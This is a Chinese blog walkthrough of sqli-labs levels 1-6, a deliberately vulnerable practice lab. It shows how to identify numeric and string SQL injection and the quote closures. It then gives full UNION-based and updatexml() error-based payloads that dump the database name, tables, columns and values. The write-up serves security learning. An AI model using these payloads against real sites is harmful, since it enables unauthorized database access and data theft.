萌新sqli-lab通关记录less-1~less-6

有回显,判断注入类型

less1-less4,重点
其一:在于判断是否为数字型注入
其二:在于判断为字符型注入后,以哪种方式闭合
至于爆其他信息的方式都和less-1一样

less-1

根据提示查看回显
在这里插入图片描述
判断注入类型
id=1 and 1=1
id=1 and 1=2
非数字型注入
判断是否为字符型注入
id=1' and 1=1-- -
id=1' and 1=2-- -
为字符型注入

二分法判断字段数
id=1' order by 3-- -
id=1' order by 4-- -
字段数为3

union联合查询
id=1'  and 1=2 union select 1,2,3-- -
爆库,用户
id=1'  and 1=2 union select 1,database(),user()-- -
爆表
id=1'  and 1=2 union select 1,2,table_name from information_schema.tables where table_schema='security'-- -
爆列
id=1'and 1=2 union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='emails' -- -
爆值
id=1'and 1=2 union select 1,2,id from emails-- -

less-2

根据提示显示回显,判断类型
id=1 and 1=1
id=1 and 1=2
为数字型注入
后面操作与less-1相同

less-3

id=1') and 1=1--  -
id=1') and 1=2--  -
为字符型注入,闭合方式为: ')
其余步骤不变

less-4

id=1") and 1=1--  -
id=1") and 1=2--  -
为字符型注入,闭合方式为: ")
其余步骤不变

无回显,报错注入

判断闭合方式为 ’ 闭合,但联合查询无效,因为无回显
这时可使用盲注或报错注入
(less-6和less-7的区别在于闭合方式不同)
我使用了报错注入

less-5

updatexml()报错注入

爆库
id=1' and updatexml(1,concat('!',database(),'!'),1)--  -
爆表
id=1' and updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'!'),1)-- -

爆列
id=1' and updatexml(1,concat('!',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'!'),1)-- -
爆值
id=1' and updatexml(1,concat('!',(select id from emails limit 0,1),'!'),1)-- -

less-6

id=1" and 1=1-- -
id=1" and 1=2-- -
判断为字符型注入," 闭合
其余步骤同less-5

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值